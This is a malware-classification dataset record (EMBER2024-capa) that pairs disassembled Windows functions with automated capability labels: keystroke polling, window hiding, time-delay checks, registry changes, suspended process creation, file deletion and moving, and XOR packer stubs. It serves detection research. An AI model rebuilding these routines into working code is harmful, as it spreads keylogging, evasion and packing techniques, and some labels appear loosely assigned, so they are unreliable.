joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d4af4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4d4bc3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4d4358]
call fcn.004d4bec
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4d4b9c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0
lea edx, [ebp - 0x10]
xor ecx, ecx
mov eax, 0x4d4bdc
call fcn.0040e38c
mov edx, dword [ebp - 8]
mov eax, dword [0x4fed7c]
mov eax, dword [eax]
call fcn.0047b97c
call fcn.004d43c0
call sub.user32.dll_GetFocus
mov edx, dword [0x4fed7c]
mov edx, dword [edx]
cmp eax, dword [edx + 0x170]
jne 0x4d4b7f
push 0x7a
call sub.user32.dll_GetKeyState
test ax, ax
jl 0x4d4b86
call sub.user32.dll_WaitMessage
jmp 0x4d4b59
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d4ba3
mov eax, dword [ebp - 4]
call fcn.00404098
ret

Function at 0x4da050
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x4da058
push ecx
push ebx
xor eax, eax
push ebp
push 0x4da1a2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
call fcn.004aba4c
mov edx, dword [ebp - 0x10]
mov eax, 0x504d60
call fcn.00406448
lea eax, [ebp - 0x14]
mov ecx, dword [0x504d60]
mov edx, 0x4da1bc
call fcn.00406904
mov eax, dword [ebp - 0x14]
call fcn.004aff20
mov eax, dword [0x4fee44]
cmp byte [eax], 0
je 0x4da0b3
mov eax, dword [0x504d60]
call fcn.004af628
lea edx, [ebp - 0x18]
mov eax, dword [0x504d60]
call fcn.0047dce4
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 4]
mov ecx, 0x4da204
call fcn.00406904
push 0
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x4da149
call sub.kernel32.dll_GetLastError
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.004a9314
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x30]
call fcn.0040d308
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x34]
mov eax, ebx
call fcn.004800f4
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x28]
mov ecx, 2
mov al, 0x60
call fcn.004a92e4
mov ecx, dword [ebp - 0x1c]
mov dl, 1
mov eax, dword [0x40aca8]
call fcn.00411a64
call fcn.00404a74
lea eax, [ebp - 8]
call fcn.004b07d0
cmp dword [ebp - 8], 0
je 0x4da17a
lea eax, [ebp - 0xc]
mov ecx, 0x4da220
mov edx, dword [ebp - 4]
call fcn.00406904
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.004d9ff8
mov eax, dword [ebp - 0xc]
call fcn.004b0828
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4da1a9
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00406440
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00406440
ret
Function at 0x4dc4fc
Capabilities:
Hide graphical window

Disassembly:
mov byte [0x504fd1], 1
call fcn.004ad6e0
test al, al
jne 0x4dc54e
push 5
mov eax, dword [0x4fed7c]
mov eax, dword [eax]
mov eax, dword [eax + 0x170]
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [0x4fed7c]
mov eax, dword [eax]
mov eax, dword [eax + 0x170]
push eax
call sub.user32.dll_SetForegroundWindow
push 0
push 1
push 1
mov eax, dword [0x4fed8c]
mov eax, dword [eax + 0x108]
mov cl, 2
xor edx, edx
call fcn.004dc3e0
ret

Function at 0x4df714
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
mov ecx, 3
lea ebx, [ebp - 8]
lea esi, [ebp - 0xc]
lea edi, [ebp - 4]
movzx eax, byte [esi]
movzx edx, byte [ebx]
sub eax, edx
imul dword [ebp - 0x10]
push ecx
mov ecx, 0xff
cdq
idiv ecx
pop ecx
movzx edx, byte [ebx]
add eax, edx
mov byte [edi], al
inc edi
inc esi
inc ebx
dec ecx
jne 0x4df739
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e1180
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
jmp 0x4e11ac
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp eax, 0x3e8
jae 0x4e11b5
call fcn.004e0180
mov eax, 0xa
call fcn.004804f8
call fcn.004e0180
call fcn.004e114c
test al, al
jne 0x4e118a
pop ebx
ret

Function at 0x4e16bc
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [0x4fe954]
cmp dword [eax], 0
je 0x4e1767
mov eax, dword [0x4fe954]
mov eax, dword [eax]
call fcn.00463810
test al, al
je 0x4e1767
mov eax, dword [0x4fe954]
mov eax, dword [eax]
cmp byte [eax + 0x1e2], 0
je 0x4e1711
cmp byte [ebx + 0x389], 0
jne 0x4e1711
mov eax, dword [0x4fed7c]
mov eax, dword [eax]
mov eax, dword [eax + 0x170]
push eax
call sub.user32.dll_IsIconic
test eax, eax
je 0x4e1715
xor eax, eax
jmp 0x4e1717
mov al, 1
mov ebx, eax
push 0xfffffffffffffff0
mov eax, dword [0x4fe954]
mov eax, dword [eax]
call fcn.00463464
push eax
call sub.user32.dll_GetWindowLongW
test eax, 0x10000000
setne al
cmp bl, al
je 0x4e1767
test bl, bl
je 0x4e1753
push 5
mov eax, dword [0x4fe954]
mov eax, dword [eax]
call fcn.00463464
push eax
call sub.user32.dll_ShowWindow
jmp 0x4e1767
push 0
mov eax, dword [0x4fe954]
mov eax, dword [eax]
call fcn.00463464
push eax
call sub.user32.dll_ShowWindow
pop ebx
ret
Function at 0x4e1818
Capabilities:
Get system information on windows

Disassembly:
push ebx
push esi
add esp, 0xffffffd8
mov byte [0x504f8c], 0
push 0x4e18f0
call sub.kernel32.dll_GetModuleHandleW_2
mov ebx, eax
push 0x4e190c
push ebx
call fcn.00409600
test eax, eax
je 0x4e18a4
lea edx, [esp + 4]
push edx
call eax
push 0x4e1934
push ebx
call fcn.00409600
mov esi, eax
test esi, esi
je 0x4e18ae
push esp
call sub.kernel32.dll_GetCurrentProcess
push eax
call esi
test eax, eax
je 0x4e18ae
cmp dword [esp], 0
je 0x4e18ae
call fcn.004aa728
test al, al
je 0x4e18ae
push 0x4e1954
push ebx
call fcn.00409600
test eax, eax
je 0x4e18ae
push 0x4e1988
push 0x4e19a8
call sub.kernel32.dll_GetModuleHandleW_2
push eax
call fcn.00409600
test eax, eax
je 0x4e18ae
mov byte [0x504f8c], 1
jmp 0x4e18ae
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo_1
movzx eax, word [esp + 4]
sub ax, 1
jb 0x4e18c7
sub ax, 5
je 0x4e18d0
sub ax, 3
je 0x4e18d9
jmp 0x4e18e2
mov byte [0x4fe4b4], 1
jmp 0x4e18e9
mov byte [0x4fe4b4], 3
jmp 0x4e18e9
mov byte [0x4fe4b4], 2
jmp 0x4e18e9
mov byte [0x4fe4b4], 0
add esp, 0x28
pop esi
pop ebx
ret

Function at 0x4e19c4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
push 1
lea eax, [ebp - 4]
push eax
mov ecx, 0x4e1a34
mov edx, 0x80000002
xor eax, eax
call fcn.0047f66c
test eax, eax
jne 0x4e1a2d
mov dword [ebp - 8], 4
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x4e1a88
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x4e1a24
cmp dword [ebp - 0xc], 4
jne 0x4e1a24
cmp dword [ebp - 8], 4
jne 0x4e1a24
movzx eax, word [ebp - 0x10]
mov word [0x504fa0], ax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov esp, ebp
pop ebp
ret

Function at 0x4e1c30
Capabilities:
Check os version

Disassembly:
add esp, 0xfffffdd0
mov dword [esp], 0x114
push esp
call sub.kernel32.dll_GetVersionExW
test eax, eax
je 0x4e1cdf
movzx eax, byte [esp + 4]
shl eax, 0x18
movzx edx, byte [esp + 8]
shl edx, 0x10
or eax, edx
movzx edx, word [esp + 0xc]
or eax, edx
mov dword [0x504f9c], eax
cmp byte [0x504f8b], 0
je 0x4e1cdf
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x4e1cd0
mov dword [esp + 0x114], 0x11c
lea eax, [esp + 0x114]
push eax
call sub.kernel32.dll_GetVersionExW
test eax, eax
je 0x4e1cdf
movzx eax, byte [esp + 0x228]
shl eax, 8
movzx edx, byte [esp + 0x22a]
or ax, dx
mov word [0x504fa0], ax
movzx eax, byte [esp + 0x22e]
mov byte [0x504fa2], al
movzx eax, word [esp + 0x22c]
mov word [0x504fa4], ax
jmp 0x4e1cdf
cmp eax, 4
jne 0x4e1cdf
call fcn.004e19c4
call fcn.004e1aa0
add esp, 0x230
ret
Function at 0x4eca88
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov ebx, eax
mov edi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x4ecc5a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
lea eax, [ebp - 4]
mov ecx, 0x200
xor edx, edx
call fcn.00406584
push 0
movzx eax, byte [ebp + 8]
mov eax, dword [eax*4 + 0x4fe8ec]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004064d4
mov ecx, eax
mov edx, esi
mov eax, ebx
call fcn.0047f66c
test eax, eax
jne 0x4ecc3f
xor eax, eax
push ebp
push 0x4ecc34
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [edi + 4]
mov eax, dword [edi]
xor ecx, ecx
call fcn.00489fd0
xor ebx, ebx
mov esi, dword [ebp - 4]
test esi, esi
je 0x4ecb19
sub esi, 4
mov esi, dword [esi]
mov dword [ebp - 0x18], esi
cmp byte [ebp + 8], 0
je 0x4ecb46
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
call fcn.00406ea8
push eax
push ebx
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegEnumKeyExW
mov dword [ebp - 0x1c], eax
jmp 0x4ecb68
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
call fcn.00406ea8
push eax
push ebx
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegEnumValueW
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, 1
jb 0x4ecbde
sub eax, 0xe9
je 0x4ecb82
sub eax, 0x19
je 0x4ecc1d
jmp 0x4ecbd7
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4ecb99
mov eax, dword [ebp - 0x20]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x10000
jl 0x4ecbac
call fcn.00404b68
jmp 0x4ecc3f
mov eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4ecbc3
mov eax, dword [ebp - 0x24]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406584
jmp 0x4ecb0d
call fcn.00404b68
jmp 0x4ecc3f
lea ecx, [ebx + 1]
mov edx, dword [edi + 4]
mov eax, dword [edi]
call fcn.00489fd0
lea eax, [ebp - 4]
call fcn.00406ea8
mov edx, eax
lea eax, [ebp - 8]
mov ecx, dword [ebp - 0x18]
call fcn.00406584
lea ecx, [ebp - 0x30]
mov eax, edi
mov edx, ebx
call fcn.0049a23c
lea eax, [ebp - 0x30]
mov edx, dword [ebp - 8]
call fcn.00488500
inc ebx
jmp 0x4ecb0d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ecc3b
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ecc61
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406440
ret
Function at 0x4f2780
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4f2804
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
je 0x4f27ec
mov ebx, esi
test ebx, ebx
je 0x4f27b2
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
mov eax, ebx
add eax, eax
push eax
mov eax, esi
call fcn.004064d4
push eax
push 1
push 0
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, 0x4f2820
call fcn.00406904
mov eax, dword [ebp - 8]
call fcn.004064d4
push eax
push edi
call sub.advapi32.dll_RegSetValueExW
test eax, eax
sete al
mov ebx, eax
jmp 0x4f27ee
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f280b
lea eax, [ebp - 8]
call fcn.00406438
ret

Function at 0x4f6350
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4f63f8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4f6414
push ebx
push 0x4f6424
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004069e8
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403540
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4f63d6
mov eax, dword [0x4fed8c]
mov eax, dword [eax + 0x188]
call fcn.004f62a8
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
mov ebx, dword [ebp - 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f63ff
lea eax, [ebp - 4]
call fcn.00406438
ret
Function at 0x4f6d98
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4f6f86
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
call fcn.0047f214
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004ab8d0
test al, al
jne 0x4f6e05
xor eax, eax
push ebp
push 0x4f6dfb
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
xor eax, eax
call fcn.004abc6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f6e05
push 0
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
mov eax, dword [0x50507c]
call fcn.004064d4
push eax
call sub.kernel32.dll_CopyFileW
test eax, eax
jne 0x4f6e34
mov eax, dword [0x4fed8c]
mov eax, dword [eax + 0x184]
call fcn.004f62a8
push 0x80
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
call sub.kernel32.dll_SetFileAttributesW
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [0x501b50]
push eax
push 0
mov ecx, 0x4f6f94
mov edx, 0x4f6f98
xor eax, eax
call fcn.0040a0fc
mov dword [ebp - 8], eax
push 0x4f6468
push 0xfffffffffffffffc
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_SetWindowLongW
mov dword [0x5050a8], eax
xor eax, eax
push ebp
push 0x4f6f4f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x97
push 0
push 0
push 0
push 0
push 0
mov eax, dword [0x4fed7c]
mov eax, dword [eax]
mov eax, dword [eax + 0x170]
push eax
call sub.user32.dll_SetWindowPos
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.0047ec9c
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0x11
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
lea edx, [ebp - 0x24]
mov ecx, 1
mov eax, 0x4f6fb4
call fcn.0040e38c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
call fcn.0047eb7c
mov edx, dword [ebp - 0x2c]
pop eax
call fcn.00406844
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.004f6350
mov dword [ebp - 0xc], eax
call fcn.004f642c
test al, al
jne 0x4f6f2f
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xc]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4f6f0d
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f6f56
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_DestroyWindow
ret
Function at 0x4f8384
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4f863e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4fed7c]
mov eax, dword [eax]
mov edx, 0x4f8658
call fcn.0047b97c
push 5
mov eax, dword [0x4fed7c]
mov eax, dword [eax]
mov eax, dword [eax + 0x170]
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
push ebp
push 0x4f8605
push dword fs:[edx]
mov dword fs:[edx], esp
call fcn.004dc788
lea eax, [ebp - 0x10]
call fcn.0047f140
mov eax, dword [ebp - 0x10]
call fcn.0040de38
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.0047ec9c
mov edx, dword [ebp - 0x14]
mov eax, 0x50507c
call fcn.00406448
call fcn.004f6660
lea ecx, [ebp - 0x18]
mov edx, 0x4f8678
mov eax, dword [0x50507c]
call fcn.0047dd80
mov edx, dword [ebp - 0x18]
mov eax, 0x505080
call fcn.00406448
lea ecx, [ebp - 0x1c]
mov edx, 0x4f8690
mov eax, dword [0x50507c]
call fcn.0047dd80
mov edx, dword [ebp - 0x1c]
mov eax, 0x505084
call fcn.00406448
push 2
push 0
push 1
mov ecx, dword [0x50507c]
mov dl, 1
mov eax, dword [0x4a7f00]
call fcn.004a8240
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4f84dc
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 4]
mov edx, dword [ebp - 0x24]
sub edx, 8
mov eax, dword [ebp - 4]
call fcn.004a8200
lea edx, [ebp - 0xc]
mov ecx, 8
mov eax, dword [ebp - 4]
call fcn.004a81d8
cmp dword [ebp - 0xc], 0x67734d49
je 0x4f84b7
mov cl, 1
xor edx, edx
mov eax, dword [0x505084]
call fcn.004a94c4
jmp 0x4f84c6
mov cl, 1
mov edx, dword [ebp - 8]
mov eax, dword [0x50507c]
call fcn.004a94c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f84e3
mov eax, dword [ebp - 4]
call fcn.00404098
ret
Function at 0x4f87e8
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 0x25c], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4f892b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x25c]
mov ecx, 0x4f8944
mov edx, ebx
call fcn.00406904
mov eax, dword [ebp - 0x25c]
call fcn.004064d4
push eax
call sub.kernel32.dll_FindFirstFileW_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4f8905
xor eax, eax
push ebp
push 0x4f88fe
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4f8960
lea eax, [ebp - 0x22c]
mov ecx, 5
call fcn.0040e0b8
test eax, eax
jne 0x4f88cf
test byte [ebp - 0x258], 0x10
jne 0x4f88cf
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x22c]
mov ecx, 0x104
call fcn.00406630
mov ecx, dword [ebp - 0x260]
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00406904
mov esi, dword [ebp - 0x258]
test esi, 1
je 0x4f88c1
and esi, 0xfffffffe
push esi
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
call sub.kernel32.dll_SetFileAttributesW
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
call sub.kernel32.dll_DeleteFileW
lea eax, [ebp - 0x258]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x4f8859
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f8905
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindClose_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f8932
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00406440
lea eax, [ebp - 4]
call fcn.00406438
ret
Function at 0x4f896c
Capabilities:
Check if file exists
Get file attributes
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4f8a6c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
xor edx, edx
call fcn.00406448
lea edx, [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.0047e224
xor edi, edi
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x18], 0
lea edx, [ebp - 0x1c]
xor ecx, ecx
mov eax, 0x4f8a88
call fcn.0040e38c
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00406904
mov eax, dword [ebp - 8]
call fcn.004064d4
push eax
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
je 0x4f8a0c
test esi, 0x10
jne 0x4f8a3c
test esi, 1
je 0x4f8a0c
and esi, 0xfffffffe
push esi
mov eax, dword [ebp - 8]
call fcn.004064d4
push eax
call sub.kernel32.dll_SetFileAttributesW
push 1
mov eax, dword [ebp - 8]
call fcn.004064d4
push eax
mov eax, dword [ebp - 0xc]
call fcn.004064d4
push eax
call sub.kernel32.dll_MoveFileExW
test eax, eax
je 0x4f8a36
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00406448
jmp 0x4f8a49
inc edi
cmp edi, 0xa
je 0x4f8a49
inc ebx
cmp ebx, 0x3e8
jne 0x4f89ad
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f8a73
lea eax, [ebp - 0x14]
call fcn.00406438
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406440
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x266562f7
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x22a0728f
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x6216706f
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
mov ecx, 0x5c50498e
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2c12232
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, str._9H
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x396000d0
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219